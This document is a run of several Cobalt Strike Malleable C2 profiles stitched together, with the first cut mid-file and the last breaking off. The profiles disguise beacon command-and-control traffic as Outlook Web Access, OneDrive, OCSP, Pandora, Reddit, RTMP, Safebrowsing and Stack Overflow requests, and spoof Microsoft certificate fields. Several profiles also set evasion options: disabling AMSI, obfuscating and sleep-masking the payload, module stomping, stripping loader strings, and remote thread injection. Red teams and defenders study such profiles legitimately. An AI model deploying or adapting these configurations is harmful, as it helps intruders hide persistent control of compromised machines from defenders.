17 # set headers "Server, Content-Type, Cache-Control, Connection";
18 # header "Content-Type" "text/html;charset=UTF-8";
19 # header "Connection" "close";
20 # header "Cache-Control" "max-age=2";
21 # header "Server" "nginx";
22 #set "true" if teamserver is behind redirector
23 set trust_x_forwarded_for "false";
24 }
25
26 http-get {
27
28 set uri "/owa/";
29
30 client {
31
32 # header "Host" "outlook.live.com";
33 header "Accept" "*/*";
34 header "Cookie" "MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;ClientId=1C0F6C5D910F9;MSPAuth=3EkAjDKjI;xid=730bf7;wla42=ZG0yMzA2KjEs";
35
36 metadata {
37 base64url;
38 parameter "wa";
39
40
41 }
42
43 parameter "path" "/calendar";
44
45 }
46
47 server {
48
49 header "Cache-Control" "no-cache";
50 header "Pragma" "no-cache";
51 header "Content-Type" "text/html; charset=utf-8";
52 header "Server" "Microsoft-IIS/10.0";
53 header "request-id" "6cfcf35d-0680-4853-98c4-b16723708fc9";
54 header "X-CalculatedBETarget" "BY2PR06MB549.namprd06.prod.outlook.com";
55 header "X-Content-Type-Options" "nosniff";
56 header "X-OWA-Version" "15.1.1240.20";
57 header "X-OWA-OWSVersion" "V2017_06_15";
58 header "X-OWA-MinimumSupportedOWSVersion" "V2_6";
59 header "X-Frame-Options" "SAMEORIGIN";
60 header "X-DiagInfo" "BY2PR06MB549";
61 header "X-UA-Compatible" "IE=EmulateIE7";
62 header "X-Powered-By" "ASP.NET";
63 header "X-FEServer" "CY4PR02CA0010";
64 header "Connection" "close";
65
66
67 output {
68 base64url;
69 print;
70 }
71 }
72 }
73
74 http-post {
75
76 set uri "/OWA/";
77 set verb "GET";
78
79 client {
80
81 # header "Host" "outlook.live.com";
82 header "Accept" "*/*";
83
84 output {
85 base64url;
86 parameter "wa";
87
88
89 }
90
91
92 #hiding data in cookie value 'wla42='
93 id {
94 base64url;
95
96 prepend "wla42=";
97 prepend "xid=730bf7;";
98 prepend "MSPAuth=3EkAjDKjI;";
99 prepend "ClientId=1C0F6C5D910F9;";
100 prepend "MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;";
101 header "Cookie";
102
103
104 }
105 }
106
107 server {
108
109 header "Cache-Control" "no-cache";
110 header "Pragma" "no-cache";
111 header "Content-Type" "text/html; charset=utf-8";
112 header "Server" "Microsoft-IIS/10.0";
113 header "request-id" "6cfcf35d-0680-4853-98c4-b16723708fc9";
114 header "X-CalculatedBETarget" "BY2PR06MB549.namprd06.prod.outlook.com";
115 header "X-Content-Type-Options" "nosniff";
116 header "X-OWA-Version" "15.1.1240.20";
117 header "X-OWA-OWSVersion" "V2017_06_15";
118 header "X-OWA-MinimumSupportedOWSVersion" "V2_6";
119 header "X-Frame-Options" "SAMEORIGIN";
120 header "X-DiagInfo" "BY2PR06MB549";
121 header "X-UA-Compatible" "IE=EmulateIE7";
122 header "X-Powered-By" "ASP.NET";
123 header "X-FEServer" "CY4PR02CA0010";
124 header "Connection" "close";
125
126
127 output {
128 base64;
129 print;
130 }
131 }
132 }
133
134 http-stager {
135
136 set uri_x86 "/rpc";
137 set uri_x64 "/Rpc";
138
139 client {
140 # header "Host" "outlook.live.com";
141 header "Accept" "*/*";
142 }
143
144 server {
145 #headers are defined in the http-config block above, or you can set them manually here.
146 #header "Server" "nginx";
147
148 }
149
150
151 }
152
153 ###Malleable PE Options###
154
155 post-ex {
156
157 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
158 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
159
160 set obfuscate "true";
161
162 set smartinject "true";
163
164 set amsi_disable "true";
165
166 }
167
168 #use peclone on the dll you want to use, this example uses wwanmm.dll. You can also set the values manually.
169 #don't use 'set image_size_xx' if using 'set module_xx'. During testing it seemed to double the size of my payload causing module stomp to fail, need to test it out more though.
170 stage {
171 set checksum "0";
172 set compile_time "25 Oct 2016 01:57:23";
173 set entry_point "170000";
174 #set image_size_x86 "6586368";
175 #set image_size_x64 "6586368";
176 #set name "WWanMM.dll";
177 set userwx "false";
178 set cleanup "true";
179 set sleep_mask "true";
180 set stomppe "true";
181 set obfuscate "true";
182 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
183
184 #obfuscate beacon before sleep.
185 set sleep_mask "true";
186
187 #module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.
188
189 set module_x86 "wwanmm.dll";
190 set module_x64 "wwanmm.dll";
191
192 transform-x86 {
193 prepend "\x90\x90\x90";
194 strrep "ReflectiveLoader" "";
195 strrep "beacon.dll" "";
196 }
197
198 transform-x64 {
199 prepend "\x90\x90\x90";
200 strrep "ReflectiveLoader" "";
201 strrep "beacon.x64.dll" "";
202 }
203 }
204
205 process-inject {
206
207 set allocator "NtMapViewOfSection";
208
209 set min_alloc "16700";
210
211 set userwx "false";
212
213 set startrwx "true";
214
215 transform-x86 {
216 prepend "\x90\x90\x90";
217 }
218 transform-x64 {
219 prepend "\x90\x90\x90";
220 }
221
222 execute {
223 CreateThread "ntdll!RtlUserThreadStart";
224 CreateThread;
225 NtQueueApcThread;
226 CreateRemoteThread;
227 RtlCreateUserThread;
228 }
229 }
0 #
1 # OneDrive
2 #
3 # Author: @bluscreenofjeff
4 #
5
6 #set https cert info
7 https-certificate {
8 set CN "mail.live.com"; #Common Name
9 set O "Microsoft Corporation"; #Organization Name
10 set C "US"; #Country
11 set L "Redmond"; #Locality
12 set OU "Outlook EdgeProxyBAYJune2015"; #Organizational Unit Name
13 set ST "Washington"; #State or Province
14 set validity "365"; #Number of days the cert is valid for
15 }
16
17 #default Beacon sleep duration and jitter
18 set sleeptime "60000";
19 set jitter "20";
20
21 #default useragent for HTTP comms
22 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
23
24 #IP address used to indicate no tasks are available to DNS Beacon
25 set dns_idle "8.8.4.4";
26
27 #Force a sleep prior to each individual DNS request. (in milliseconds)
28 set dns_sleep "0";
29
30 #Maximum length of hostname when uploading data over DNS (0-255)
31 set maxdns "235";
32
33 http-get {
34
35 set uri "/preload";
36
37 client {
38 parameter "manifest" "wac";
39 header "Host" "onedrive.live.com";
40 header "Accept" "text/html,application/xml;*/*;";
41 header "Accept-Encoding" "gzip, deflate";
42
43 #session metadata
44 metadata {
45 base64url;
46 prepend "E=P:";
47 append "=:PFzM9cj";
48 header "Cookie";
49 }
50
51 #header "MicrosoftApplicationsTelemetryDeviceId" "9u2srx19-4gm0-3x2t-lf25-9ejwla1gvbsn;";
52
53 }
54
55
56 server {
57
58 header "Cache-Control" "no-cache, no-store";
59 header "Pragma" "no-cache";
60 header "Content-Type" "text/html; charset=utf-8";
61 header "Expires" "-1";
62 header "Vary" "Accept-Encoding";
63 header "Server" "Microsoft-IIS/8.5";
64 header "Set-Cookie" "E=P:We/01nw8bIg=:oIbA04j2Itig4t8cWKNKrDaG/ZDZuMnyxXC+BkkNivU=:F; domain=.live.com; path=/";
65
66 #Beacon's tasks
67 output {
68 netbios;
69 prepend " <html xmlns=\"http://www.w3.org/1999/xhtml\"><head><title>Preload</title><script type=\"text/javascript\">var $Config={\"BSI\":{\"enabled\":1,\"xid\":\"b006d80d-6673-4a54-92d1-8d13cdc93b14\",\"pn\":\"ResourcesPreload.default.F.A\",\"rid\":\"007ebd45c9f\",\"biciPrevious\":\"b006d80d-6673-4a54-92d1-8d13cdc93b14_007ebd45c9f_15347\",\"BICI\":{\"fid\":\"ebd4\",\"urlHash\":\"vazo6\",\"beaconUrl\":\"\u002f\u002fc.live.com\u002fc.gif\u003fDI\u003d15347\u0026wlxid\u003db006d80d-6673-4a54-92d1-8d13cdc93b14\u0026reqid\u003d007ebd45c9f\",\"enableLD\":1,\"enableGlinkExtra\":1,\"enableGlinkCall\":1,\"suppressBrowserRightClickMenu\":1},\"SBSPLT\":{\"rt\":\"636191157915732690\"},\"CSIPerf\":{\"enabled\":1,\"page\":{\"landingPageName\":\"\",\"timeStamp\":\"\"},\"IDSS\":{\"enabled\":1},\"WLXFD\":{\"enabled\":1},\"Trace\":{\"enabled\":1}},\"Scenario\":{\"handlerPath\":\"\u002fHandlers\u002fScenarioQos.mvc\",\"enabled\":1},\"Watson\":{\"fbody\":1,\"enabled\":1,\"sr\":100}},\"build\":\"17.502.2414\",\"mkt\":\"en-US\",\"mmn\":\"BN1301xxPFE021\",\"di\":15347,\"prop\":\"SDX.Skydrive\",\"sd\":\".live.com\",\"hn\":\"onedrive.live.com\",\"isSecure\":1,\"Preload\":{\"Resources\":[\"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20160928.003\u002fjquery-1.7.2-39eeb07e.js\",\"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20160928.003\u002fwac0-c2bada28.js\",\"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20160928.003\u002fwac1-94024fff.js\",\"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20160928.003\u002fwac2-01ac784f.js\",\"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20160928.003\u002fwac_s_test-aec201a8.js\",\"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\"";
70 append "u002ffiles\u002fonedrive-website-release-prod_master_20160928.003\u002fwac_s_unknownscenario-258417ad.js\",\"https\u003a\u002f\u002fs1-word-view-15.cdn.office.net\u003a443\u002fwv\u002fs\u002f1677265950_resources\u002f1033\u002fprogress16.gif\",\"https\u003a\u002f\u002fs1-word-view-15.cdn.office.net\u003a443\u002fwv\u002fs\u002f1677265950_App_Scripts\u002f1033\u002fWordViewerIntl.js\",\"https\u003a\u002f\u002fs1-word-view-15.cdn.office.net\u003a443\u002fwv\u002fs\u002f1677265950_resources\u002f1033\u002fWordViewer.css\",\"https\u003a\u002f\u002fs1-word-view-15.cdn.office.net\u003a443\u002fwv\u002fs\u002f1677265950_resources\u002f1033\u002fwv.png\",\"https\u003a\u002f\u002fs1-word-view-15.cdn.office.net\u003a443\u002fwv\u002fs\u002f1677265950_App_Scripts\u002fWordViewer.js\",\"https\u003a\u002f\u002fs1-officeapps-15.cdn.office.net\u003a443\u002fwv\u002fs\u002f1677265950_App_Scripts\u002f1033\u002fCommonIntl.js\"";
71 print;
72 }
73 }
74 }
75
76 http-post {
77
78 set uri "/sa";
79 set verb "GET";
80
81 client {
82
83 header "Host" "onedrive.live.com";
84 header "Accept" "text/html,application/xml;*/*;";
85 header "Accept-Encoding" "gzip, deflate";
86
87 #Beacon's responses
88 output {
89 base64url;
90 prepend "E=P:";
91 append "=:PFzM9cj";
92 header "Cookie";
93 }
94
95 #session ID
96 id {
97 base64url;
98 prepend "https://p.sfx.ms/sa.html?s=";
99 header "Referer";
100 }
101
102 }
103
104 server {
105
106 header "Cache-Control" "no-cache, no-store";
107 header "Pragma" "no-cache";
108 header "Content-Type" "text/html; charset=utf-8";
109 header "Expires" "-1";
110 header "Vary" "Accept-Encoding";
111 header "Server" "Microsoft-IIS/8.5";
112 header "Set-Cookie" "E=P:We/01nw8bIg=:oItIbA04j2rDig4t8cWKNKaG/ZDZuMnyxXC+BkkNivU=:F; domain=.live.com; path=/";
113
114 #empty
115 output {
116 print;
117 }
118 }
119 }
120
121 #change the stager server
122 http-stager {
123 server {
124 header "Content-Type" "text/html; charset=utf-8";
125 }
126 }
0 #
1 # Online Certificate Status Protocol (OCSP) Profile
2 # http://tools.ietf.org/html/rfc6960
3 #
4 # Author: @harmj0y
5 #
6
7 set sleeptime "20000"; # Use a 20s interval
8 set jitter "20"; # 20% jitter
9 set maxdns "255";
10 set useragent "Microsoft-CryptoAPI/6.1";
11
12
13 http-get {
14
15 set uri "/oscp/";
16
17 client {
18 header "Accept" "*/*";
19 header "Host" "ocsp.verisign.com";
20
21 metadata {
22 netbios;
23 uri-append;
24 }
25 }
26
27 server {
28 header "Content-Type" "application/ocsp-response";
29 header "content-transfer-encoding" "binary";
30 header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
31 header "Connection" "keep-alive";
32
33 output {
34 print;
35 }
36 }
37 }
38
39 http-post {
40
41 set uri "/oscp/a/";
42
43 client {
44
45 header "Accept" "*/*";
46 header "Host" "ocsp.verisign.com";
47
48 id {
49 netbios;
50 uri-append;
51 }
52
53 output {
54 print;
55 }
56 }
57
58 server {
59 header "Content-Type" "application/ocsp-response";
60 header "content-transfer-encoding" "binary";
61 header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
62 header "Connection" "keep-alive";
63
64 output {
65 print;
66 }
67 }
68 }
0 #
1 # Standard Pandora traffic profile
2 #
3 # Author: @harmj0y
4 #
5
6 set sleeptime "1000";
7 set jitter "0";
8 set maxdns "255";
9 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
10
11 http-get {
12
13 set uri "/access/";
14
15 client {
16
17 header "Accept" "*/*";
18 header "GetContentFeatures.DLNA.ORG" "1";
19 header "Host" "audio-sv5-t1-3.pandora.com";
20 header "Cookie" " __utma=210077622.1732439995.1433201462.1403204372.1385202493.2;";
21
22 parameter "version" "4";
23 parameter "lid" "1582502724";
24
25 metadata {
26 netbios;
27 parameter "token";
28 }
29 }
30
31 server {
32
33 header "Server" "Apache";
34 header "Cache-Control" "no-cache, no-store, must-revalidate, max-age=-1";
35 header "Pragma" "no-cache, no-store";
36 #header "Expires" "-1";
37 header "Connection" "close";
38 header "Content-Type" "audio/mp4";
39
40 output {
41
42 # mp4 header
43 # 0000000: 0000 001c 6674 7970 6d70 3432 0000 0001 ....ftypmp42....
44 # 0000010: 4d34 5620 6d70 3432 6973 6f6d 0001 6fd9 M4V mp42isom..o.
45
46 prepend "\x6d\x6f\x6f\x76\x00\x00\x00\x6c\x6d\x76\x68\x64";
47 prepend "\x4d\x34\x56\x20\x6d\x70\x34\x32\x69\x73\x6f\x6d\x00\x01\x6f\xd9";
48 prepend "\x00\x00\x00\x1c\x66\x74\x79\x70\x6d\x70\x34\x32\x00\x00\x00\x01";
49
50 print;
51 }
52 }
53 }
54
55 http-post {
56
57 set uri "/radio/xmlrpc/v35";
58
59 client {
60
61 header "Accept" "*/*";
62 header "Content-Type" "text/xml";
63 header "X-Requested-With" "XMLHttpRequest";
64 header "Host" "www.pandora.com";
65
66 id {
67 parameter "rid";
68 }
69
70 parameter "lid" "1582502724";
71 parameter "method" "getSearchRecommendations";
72
73 output {
74 base64;
75 print;
76 }
77 }
78
79 server {
80
81 header "Content-Type" "text/xml";
82 header "Cache-Control" "no-cache, no-store, no-transform, must-revalidate, max-age=0";
83 header "Expires" "-1";
84 header "Vary" "Accept-Encoding";
85 header "Content-Encoding" "gzip";
86
87 output {
88 print;
89 }
90 }
91 }
0 #
1 # This profile demonstrates the use of the mask transform to randomize aspects of a profile
2 #
3
4 set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
5
6 # define indicators for an HTTP GET
7 http-get {
8 # we require a stub URI to attach the rest of our data to.
9 set uri "/zC";
10
11 client {
12 # mask our metadata, base64 encode it, store it in the URI
13 metadata {
14 mask;
15 base64url;
16 uri-append;
17 }
18 }
19
20 server {
21 header "Content-Type" "text/plain";
22
23 # prepend some text in case the GET is empty.
24 output {
25 prepend "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
26 mask;
27 base64;
28 print;
29 }
30 }
31 }
32
33 # define indicators for an HTTP POST
34 http-post {
35 set uri "/dE";
36 set verb "POST";
37
38 client {
39 # make it look like we're posting something cool.
40 header "Content-Type" "application/x-www-form-urlencoded";
41
42 # ugh, our data has to go somewhere!
43 output {
44 mask;
45 base64url;
46 uri-append;
47 }
48
49 # randomize and post our session ID
50 id {
51 mask;
52 base64url;
53 prepend "v=";
54 append "&button=submit";
55 print;
56 }
57 }
58
59 # The server's response to our HTTP POST
60 server {
61 header "Content-Type" "text/plain";
62
63 # post usually sends nothing, so let's prepend a string, mask it, and
64 # base64 encode it. We'll get something different back each time.
65 output {
66 prepend "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
67 mask;
68 base64;
69 print;
70 }
71 }
72 }
73
0 #reddit profile
1 #from /r/webdev and random comment
2 #xx0hcd
3
4
5 set sleeptime "30000";
6 set jitter "20";
7 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36";
8 set dns_idle "8.8.8.8";
9 set maxdns "235";
10
11 #custom cert
12 #https-certificate {
13 # set keystore "your_store_file.store";
14 # set password "your_store_pass";
15 #}
16
17 http-config {
18 # set headers "Server, Content-Type, Cache-Control, Connection";
19 # header "Content-Type" "text/html;charset=UTF-8";
20 # header "Connection" "close";
21 # header "Cache-Control" "max-age=2";
22 # header "Server" "nginx";
23 #set "true" if teamserver is behind redirector
24 set trust_x_forwarded_for "false";
25 }
26
27 http-get {
28
29 set uri "/r/webdev/comments/95ltyr";
30
31 client {
32
33 header "Host" "www.reddit.com";
34 header "Accept" "*/*";
35 header "Accept-Language" "en-US";
36 header "Connection" "close";
37
38
39 metadata {
40 base64url;
41 prepend "session_tracker=";
42 prepend "0001eqt60.2.1;";
43 prepend "loid=";
44 append ";rseor3=";
45 append "true";
46 append ";reddaid=";
47 append "SHXIJU204B";
48
49 header "Cookie";
50
51 }
52
53 }
54
55 server {
56
57 header "Cache-control" "private, s-maxage=0, max-age=0, must-revalidate";
58 header "Content-Type" "text/html; charset=utf-8";
59
60 output {
61
62 base64url;
63 prepend "<!DOCTYPE html><html lang=\"en\"><head><title>Has anyone else noticed slow loading of Google fonts across the board? : webdev</title><meta charSet=\"utf8\"/><meta name=\"viewport\" content=";
64 append "</script><script defer=\"\" type=\"text/javascript\" src=\"https://www.redditstatic.com/desktop2x/runtime.24e5d569e89bb0cc0439.js\"></script><script defer=\"\" type=\"text/javascript\" src=\"https://www.redditstatic.com/desktop2x/vendors~Profile~ProfileHomepage~ProfilePostComments~R2CommentsPage~R2Listing~Reddit.ab6e733968a19bb51c3a.js\"></script><script defer=\"\" type=\"text/javascript\"";
65
66 print;
67 }
68 }
69 }
70
71 http-post {
72
73 set uri "/r/webdev/comments/95lyr/slow_loading_of_google";
74 set verb "GET";
75
76 client {
77
78 header "Host" "www.reddit.com";
79 header "Accept" "*/*";
80 header "Accept-Language" "en-US";
81
82 output {
83 base64url;
84
85 prepend "session_tracker=";
86 prepend "0001eqt60.2.1;";
87 prepend "loid=";
88 append ";rseor3=";
89 append "true";
90 append ";reddaid=";
91 append "SHXIJU204B";
92
93
94 header "Cookie";
95
96
97 }
98
99
100 id {
101 base64url;
102 parameter "id";
103
104 }
105 }
106
107 server {
108
109 header "Cache-control" "private, s-maxage=0, max-age=0, must-revalidate";
110 header "Content-Type" "text/html; charset=utf-8";
111
112
113 output {
114 base64url;
115 prepend "<!DOCTYPE html><html lang=\"en\"><head><title>Has anyone else noticed slow loading of Google fonts across the board? : webdev</title><meta charSet=\"utf8\"/><meta name=\"viewport\" content=";
116 append "</script><script defer=\"\" type=\"text/javascript\" src=\"https://www.redditstatic.com/desktop2x/runtime.24e5d569e89bb0cc0439.js\"></script><script defer=\"\" type=\"text/javascript\" src=\"https://www.redditstatic.com/desktop2x/vendors~Profile~ProfileHomepage~ProfilePostComments~R2CommentsPage~R2Listing~Reddit.ab6e733968a19bb51c3a.js\"></script><script defer=\"\" type=\"text/javascript\"";
117
118 print;
119 }
120 }
121 }
122
123 http-stager {
124
125 set uri_x86 "/r/Webdev";
126 set uri_x64 "/r/WebDev";
127
128 client {
129 header "Host" "www.reddit.com";
130 header "Accept" "*/*";
131 header "Accept-Language" "en-US";
132 header "Connection" "close";
133 }
134
135 server {
136 header "Cache-control" "private, s-maxage=0, max-age=0, must-revalidate";
137 header "Content-Type" "text/html; charset=utf-8";
138
139 }
140
141
142 }
143
144 ###Malleable PE Options###
145
146 post-ex {
147
148 set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
149 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
150
151 set obfuscate "true";
152
153 set smartinject "true";
154
155 set amsi_disable "true";
156
157 }
158
159 #used peclone on wwanmm.dll.
160 #don't use 'set image_size_xx' if using 'set module_xx'
161 stage {
162 set checksum "0";
163 set compile_time "25 Oct 2016 01:57:23";
164 set entry_point "170000";
165 # set image_size_x86 "6586368";
166 # set image_size_x64 "6586368";
167 # set name "WWanMM.dll";
168 set userwx "false";
169 set cleanup "true";
170 set stomppe "true";
171 set obfuscate "true";
172 set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
173
174
175 #module stomp
176
177 #don't use 'set image_size_xx' if using 'set module_xx'
178 set module_x86 "wwanmm.dll";
179 set module_x64 "wwanmm.dll";
180
181 transform-x86 {
182 strrep "ReflectiveLoader" "";
183 strrep "beacon.dll" "";
184 }
185
186 transform-x64 {
187 strrep "ReflectiveLoader" "";
188 strrep "beacon.x64.dll" "";
189 }
190 }
191 process-inject {
192
193 set allocator "NtMapViewOfSection";
194
195 set min_alloc "16700";
196
197 set userwx "false";
198
199 set startrwx "true";
200
201 transform-x86 {
202 prepend "\x90\x90\x90";
203 }
204 transform-x64 {
205 prepend "\x90\x90\x90";
206 }
207
208 execute {
209 CreateThread "ntdll!RtlUserThreadStart";
210 CreateThread;
211 NtQueueApcThread;
212 CreateRemoteThread;
213 RtlCreateUserThread;
214 }
215 }
0 #
1 # Adode Real-Time-Messaging-Protcol (RTMP) profile
2 #
3 # Author: @harmj0y
4 #
5
6 set sleeptime "5000";
7 set jitter "0";
8 set maxdns "255";
9 set useragent "Shockwave Flash";
10
11 http-get {
12
13 set uri "/idle/1376547834/1";
14
15 client {
16
17 header "Accept" "*/*";
18 header "Connection" "Keep-Alive";
19 header "Cache-Control" "no-cache";
20 header "Content-Type" "application/x-fcs";
21
22 metadata {
23 base64;
24 header "Cookie";
25 }
26 }
27
28 server {
29
30 header "Content-Type" "application/x-fcs";
31 header "Connection" "Keep-Alive";
32 header "Server" "FlashCom/3.5.7";
33 header "Cache-Control" "no-cache";
34
35 output {
36 print;
37 }
38 }
39 }
40
41 http-post {
42
43 set uri "/send/1376547834/";
44
45 client {
46
47 header "Accept" "*/*";
48 header "Connection" "Keep-Alive";
49 header "Cache-Control" "no-cache";
50 header "Content-Type" "application/x-fcs";
51
52 id {
53 uri-append;
54 }
55
56 output {
57 print;
58 }
59 }
60
61 server {
62
63 header "Content-Type" "application/x-fcs";
64 header "Connection" "Keep-Alive";
65 header "Server" "FlashCom/3.5.7";
66 header "Cache-Control" "no-cache";
67
68 output {
69 print;
70 }
71 }
72 }
0 #
1 # Safebrowsing Comms profile
2 # https://code.google.com/p/google-safe-browsing/wiki/SafeBrowsingDesign
3 #
4 # Author: @harmj0y
5 #
6
7 set sleeptime "30000"; # Use a 30s interval
8 set jitter "20"; # 20% jitter
9 set maxdns "255";
10 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
11
12 http-get {
13
14 # change/randomize this as you wish
15 set uri "/safebrowsing/rd/CltOb12nLW1IbHehcmUtd2hUdmFzEBAY7-0KIOkUDC7h2";
16
17 client {
18 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
19 header "Accept-Language" "en-US,en;q=0.5";
20 header "Accept-Encoding" "gzip, deflate";
21
22 metadata {
23 netbios;
24 prepend "PREF=ID=";
25 header "Cookie";
26 }
27 }
28
29 server {
30 header "Content-Type" "application/vnd.google.safebrowsing-chunk";
31 header "X-Content-Type-Options" "nosniff";
32 header "Content-Encoding" "gzip";
33 header "X-XSS-Protection" "1; mode=block";
34 header "X-Frame-Options" "SAMEORIGIN";
35 header "Cache-Control" "public,max-age=172800";
36 header "Age" "1222";
37 header "Alternate-Protocol" "80:quic";
38
39 output {
40 print;
41 }
42 }
43 }
44
45 http-post {
46
47 set uri "/safebrowsing/rd/CINnu27nLO8hbHdfgmUtc2ihdmFyEAcY4";
48
49 client {
50 header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
51 header "Accept-Language" "en-US,en;q=0.5";
52 header "Accept-Encoding" "gzip, deflate";
53
54 id {
55 netbios;
56 prepend "U=779b64e1a7ed737a";
57 prepend "PREF=ID=";
58 header "Cookie";
59 }
60
61 output {
62 print;
63 }
64 }
65
66 server {
67 header "Content-Type" "application/vnd.google.safebrowsing-chunk";
68 header "X-Content-Type-Options" "nosniff";
69 header "Content-Encoding" "gzip";
70 header "X-XSS-Protection" "1; mode=block";
71 header "X-Frame-Options" "SAMEORIGIN";
72 header "Cache-Control" "public,max-age=172800";
73 header "Age" "1222";
74 header "Alternate-Protocol" "80:quic";
75 output {
76 print;
77 }
78 }
79 }
80
0 #stackoverflow profile
1 #xx0hcd
2 #modify Host: headers to whatever.
3
4 set sleeptime "35000";
5 set jitter "22";
6 set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36";
7 set dns_idle "8.8.8.8";
8 set maxdns "245";
9
10 set sample_name "stackoverflow.profile";
11
12 #https-certificate {
13 # set keystore "your_store_file.store";
14 # set password "your_store_pass";
15 #}
16
17 http-config {
18 # set headers "Server, Content-Type, Cache-Control, Connection";
19 # header "Content-Type" "text/html;charset=UTF-8";
20 # header "Connection" "close";
21 # header "Cache-Control" "max-age=2";
22 # header "Server" "nginx";
23 #set "true" if teamserver is behind redirector
24 set trust_x_forwarded_for "false";
25 }
26
27 http-get {
28
29 set uri "/questions/32251816/c-sharp-directives-compilation-error";
30
31 client {
32
33 # header "Host" "stackoverflow.com";
34 header "Accept" "*/*";
35 header "Accept-Language" "en-US";
36 # header "Connection" "close";
37
38
39 metadata {
40 netbios;
41 prepend "prov=";
42 append ";notice-ctt=!1";
43 append ";_ga=GA1.2.9924";
44 append ";_gat=1";
45 append ";__qca=P0-214459";
46
47 header "Cookie";
48
49 }
50
51 }
52
53 server {
54
55 header "Cache-control" "private";
56 header "Content-Type" "text/html; charset=utf-8";
57 header "X-Frame-Origins" "SAMEORIGIN";
58 header "Age" "0";
59 header "Via" "1.1 varnish";
60 header "X-Cache" "MISS";
61 header "Vary" "Accept-Encoding,Fastly-SSL";
62
63 output {
64
65 base64url;
66 prepend "\n";
67 prepend "<link rel=\"shortcut icon\" href=\"https://cdn.sstatic.net/Sites/stackoverflow/img/favicon.ico?v=";
68 prepend "<title>c# 4.0 - C# Preprocessor Directives (#if and #endif) not working. Compilation error - Stack Overflow</title>";
69 prepend "<head>\n";
70 prepend "<html itemscope itemtype=\"http://schema.org/QAPage\" class=\"html__responsive\">\n";
71 prepend "<!DOCTYPE html>\n\n";
72 append "<h2 data-answercount=\"3\">
73 3 Answers
74 <span style=\"display:none;\" itemprop=\"answerCount\">3</span>
75 </h2>
76 <div>
77
78 <div id=\"tabs\">
79 <a href=\"/questions/32251816/c-sharp-preprocessor-directives-if-and-endif-not-working-compilation-error?answertab=active#tab-top\" data-nav-xhref=\"\" title=\"Answers with the latest activity first\" data-value=\"active\" data-shortcut=\"A\">
80 active</a>
81 <a href=\"/questions/32251816/c-sharp-preprocessor-directives-if-and-endif-not-working-compilation-error?answertab=oldest#tab-top\" data-nav-xhref=\"\" title=\"Answers in the order they were provided\" data-value=\"oldest\" data-shortcut=\"O\">
82 oldest</a>
83 <a class=\"youarehere is-selected \" href=\"/questions/32251816/c-sharp-preprocessor-directives-if-and-endif-not-working-compilation-error?answertab=votes#tab-top\" data-nav-xhref=\"\" title=\"Answers with the highest score first\" data-value=\"votes\" data-shortcut=\"V\">
84 votes</a>";
85
86 print;
87 }
88 }
89 }
90
91 http-post {
92
93 set uri "/questions/32251817/c-sharp-directives-compilation-error";
94 set verb "GET";
95
96 client {
97
98 # header "Host" "stackoverflow.com";
99 header "Accept" "*/*";
100 header "Accept-Language" "en";
101 # header "Connection" "close";
102
103 output {
104 netbios;
